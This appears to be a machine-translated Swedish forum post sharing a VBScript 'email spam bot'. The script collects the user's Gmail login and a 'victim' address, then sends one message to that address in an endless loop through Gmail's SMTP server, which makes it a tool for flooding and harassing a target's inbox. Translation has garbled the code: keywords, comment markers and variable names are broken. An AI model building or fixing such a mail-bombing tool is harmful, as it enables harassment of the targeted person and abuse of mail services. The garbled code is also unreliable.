E-post Spam Bot använda VBScript (VBS)
här är det
bara kopiera klistra in i anteckningar spara som anything.vbs, där allt är vilket namn du vill ha.
Om du använder hotmail bara hitta linjer märkta smtp.gmail.com och ändra till en för hotmail eller vad du använder.
Dim användare
Dim Pass
Dim namn
Dim Input
Dim Input2
Dim Input3
X = MsgBox ("Välkommen. Att logga in klickar du på OK och skriv in ditt G-mail och pass. ", 0,"EmailSpamBot V1.0")
Användare = InputBox ("Ange din G-mail:")
Passera = InputBox ("Ange lösenord:" & vbCrLf & "" & vbCrLf & "Observera lösenord inte lagras i det här skriptet och är skiftlägeskänsliga.")
Namn = InputBox ("Ange namn:")
Input = InputBox ("Ange e-postadress till offret:")
Input2 = InputBox ("Ange rubrik:")
Input3 = InputBox ("Ange meddelande:")
EmailSubject = ("" & Input2)
EmailBody = ("" & Input3)
"Const EmailFrom =" "
"Const EmailFromName =" "
CONST SMTPServer = "smtp.gmail.com"
"Const SMTPLogon =" "
"Const SMTPPassword =" "
CONST SMTPSSL = sant
CONST SMTPPort = 465
CONST cdoSendUsingPickup = 1 ' Skicka meddelande med hjälp av lokala SMTP-tjänsten pickup-katalogen.
CONST cdoSendUsingPort = 2 ' Skicka meddelandet med SMTP över TCP/IP nätverk.
CONST cdoAnonymous = 0' ingen autentisering
CONST cdoBasic = 1' BASIC klar text autentisering
CONST cdoNTLM = 2' NTLM, egenutvecklade Microsoft-autentisering
"Först skapa meddelandet
Ange objMessage = CreateObject ("CDO. Meddelande")
objMessage.Subject = EmailSubject
objMessage.From = "<" & användar & namn & ">"
objMessage.To = "<" & ingång & ">"
objMessage.TextBody = EmailBody
"Andra, konfigurera servern
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserver") = SMTPServer
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = cdoBasic
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendusername") = användare
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Pass
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = SMTPPort
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = SMTPSSL
objMessage.Configuration.Fields.Item _
("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
objMessage.Configuration.Fields.Update
göra
objMessage.Send
loop
Välkommen att lämna kommentarer som talar om för mig vad du tycker, vad man ska förbättra ect.